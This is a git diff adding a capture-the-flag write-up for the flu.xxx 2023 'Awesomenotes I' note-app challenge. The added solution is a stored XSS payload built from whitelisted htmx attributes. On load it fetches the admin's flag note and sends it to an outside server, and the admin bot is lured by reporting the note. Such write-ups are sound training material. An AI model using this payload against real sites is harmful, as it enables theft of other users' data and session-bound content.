Add flu.xxx-23 - Awesomenotes_I writeup

flu.xxx-23/Awesomenotes_I/README.md

@@ -10,9 +10,21 @@ We're excited to announce our new, revolutionary product: A note-taking app. Thi
 
 #### Solution:
 
-```bash
+- poking around reveals that the `htmx` is used for fetching of data and also is whitelisted thus we can exploit it for XSS
+```html
+<div 
+  hx-get="/note/flag" 
+  hx-on::after-swap="fetch('/api/note/flag')
+    .then((r)=>r.text())
+    .then((t)=>fetch('https://my-server/'+encodeURI(t)))"
+  hx-trigger="load delay:0.001s"
+  hx-swap="innerHTML"
+  hx-target="this"
+>
 ```
 
+- report above note for `admin` inspection and profit
+
 ---
 
 <details><summary>FLAG:</summary>